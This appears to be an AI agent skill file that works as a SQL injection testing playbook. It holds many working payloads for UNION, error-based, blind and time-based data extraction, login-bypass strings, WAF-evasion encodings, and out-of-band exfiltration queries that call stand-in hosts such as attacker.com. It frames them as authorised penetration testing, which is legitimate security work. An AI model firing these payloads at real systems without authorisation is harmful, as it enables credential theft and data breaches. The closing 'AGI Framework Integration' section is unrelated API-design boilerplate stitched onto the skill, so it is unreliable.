SQL Injection Testing

SQL Injection Testing

Purpose

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.

Inputs / Prerequisites

Required Access

• Target web application URL with injectable parameters
• Burp Suite or equivalent proxy tool for request manipulation
• SQLMap installation for automated exploitation
• Browser with developer tools enabled

Technical Requirements

• Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
• Knowledge of HTTP request/response cycle
• Familiarity with database schemas and structures
• Write permissions for testing reports

Legal Prerequisites

• Written authorization for penetration testing
• Defined scope including target URLs and parameters
• Emergency contact procedures established
• Data handling agreements in place

Outputs / Deliverables

Primary Outputs

• SQL injection vulnerability report with severity ratings
• Extracted database schemas and table structures
• Authentication bypass proof-of-concept demonstrations
• Remediation recommendations with code examples

Evidence Artifacts

• Screenshots of successful injections
• HTTP request/response logs
• Database dumps (sanitized)
• Payload documentation

Core Workflow

Phase 1: Detection and Reconnaissance

Identify Injectable Parameters

Locate user-controlled input fields that interact with database queries:

# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For

Test for Basic Vulnerability Indicators

Insert special characters to trigger error responses:

-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)

Monitor application responses for:

• Database error messages revealing query structure
• Unexpected application behavior changes
• HTTP 500 Internal Server errors
• Modified response content or length

Logic Testing Payloads

Verify boolean-based vulnerability presence:

-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true and false conditions to confirm injection capability.

Phase 2: Exploitation Techniques

UNION-Based Extraction

Combine attacker-controlled SELECT statements with original query:

-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--

Error-Based Extraction

Force database errors that leak information:

-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--

Blind Boolean-Based Extraction

Infer data through application behavior changes:

-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

Time-Based Blind Extraction

Use database sleep functions for confirmation:

-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--

Out-of-Band (OOB) Extraction

Exfiltrate data through external channels:

-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('',@@version,'.attacker.com\\a'))--

-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

Phase 3: Authentication Bypass

Login Form Exploitation

Craft payloads to bypass credential verification:

-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2

Query transformation example:

-- Original query
SELECT * FROM users WHERE username='input' AND password='input'

-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment

Phase 4: Filter Bypass Techniques

Character Encoding Bypass

When special characters are blocked:

-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)

-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex

Whitespace Bypass

Substitute blocked spaces:

-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- Alternative whitespace
SELECT%09username%09FROM%09users  -- Tab character
SELECT%0Ausername%0AFROM%0Ausers  -- Newline

Keyword Bypass

Evade blacklisted SQL keywords:

-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

-- Null byte injection
%00SELECT
SEL%00ECT

Quick Reference

Detection Test Sequence

1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay

Database Fingerprinting

-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version

Information Schema Queries

-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'

Common Payloads Quick List

Constraints and Guardrails

Operational Boundaries

• Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
• Limit data extraction to proof-of-concept quantities
• Avoid denial-of-service through resource-intensive queries
• Stop immediately upon detecting production database with real user data

Technical Limitations

• WAF/IPS may block common payloads requiring evasion techniques
• Parameterized queries prevent standard injection
• Some blind injection requires extensive requests (rate limiting concerns)
• Second-order injection requires understanding of data flow

Legal and Ethical Requirements

• Written scope agreement must exist before testing
• Document all extracted data and handle per data protection requirements
• Report critical vulnerabilities immediately through agreed channels
• Never access data beyond scope requirements

Examples

Example 1: E-commerce Product Page SQLi

Scenario: Testing product display page with ID parameter

Initial Request:

GET /product.php?id=5 HTTP/1.1

Detection Test:

GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near ''' 

Column Enumeration:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)

Data Extraction:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials

Example 2: Blind Time-Based Extraction

Scenario: No visible output, testing for blind injection

Confirm Vulnerability:

id=5' AND SLEEP(5)-- 
-- Response delayed by 5 seconds (vulnerable confirmed)

Extract Database Name Length:

id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters

Extract Characters:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'

Example 3: Login Bypass

Target: Admin login form

Standard Login Query:

SELECT * FROM users WHERE username='[input]' AND password='[input]'

Injection Payload:

Username: administrator'--
Password: anything

Resulting Query:

SELECT * FROM users WHERE username='administrator'--' AND password='anything'

Result: Password check bypassed, authenticated as administrator.

Troubleshooting

No Error Messages Displayed

• Application uses generic error handling
• Switch to blind injection techniques (boolean or time-based)
• Monitor response length differences instead of content

UNION Injection Fails

• Column count may be incorrect → Test with ORDER BY
• Data types may mismatch → Use NULL for all columns first
• Results may not display → Find injectable column positions

WAF Blocking Requests

• Use encoding techniques (URL, hex, unicode)
• Insert inline comments within keywords
• Try alternative syntax for same operations
• Fragment payload across multiple parameters

Payload Not Executing

• Verify correct comment syntax for database type
• Check if application uses parameterized queries
• Confirm input reaches SQL query (not filtered client-side)
• Test different injection points (headers, cookies)

Time-Based Injection Inconsistent

• Network latency may cause false positives
• Use longer delays (10+ seconds) for clarity
• Run multiple tests to confirm pattern
• Consider server-side caching effects

When to Use

This skill is applicable to execute the workflow or actions described in the overview.

AGI Framework Integration

Adapted for @techwavedev/agi-agent-kit Original source: antigravity-awesome-skills

Memory-First Protocol

Retrieve prior API design decisions, database schema choices, and error handling patterns. Cache API response templates for consistent error formatting.

# Check for prior backend/API context before starting
python3 execution/memory_manager.py auto --query "API design patterns and architecture decisions for Sql Injection Testing"

Storing Results

After completing work, store backend/API decisions for future sessions:

python3 execution/memory_manager.py store \
  --content "API architecture: REST with HATEOAS, JWT auth, rate limiting at 100 req/min per tenant" \
  --type decision --project <project> \
  --tags sql-injection-testing backend

Multi-Agent Collaboration

Share API contract changes with frontend agents so they update their client code, and with QA agents for test coverage.

python3 execution/cross_agent_context.py store \
  --agent "<your-agent>" \
  --action "Implemented API endpoints — 5 new routes with OpenAPI spec and integration tests" \
  --project <project>

Agent Team: Code Review

After implementation, dispatch code_review_team for two-stage review (spec compliance + code quality) before merging.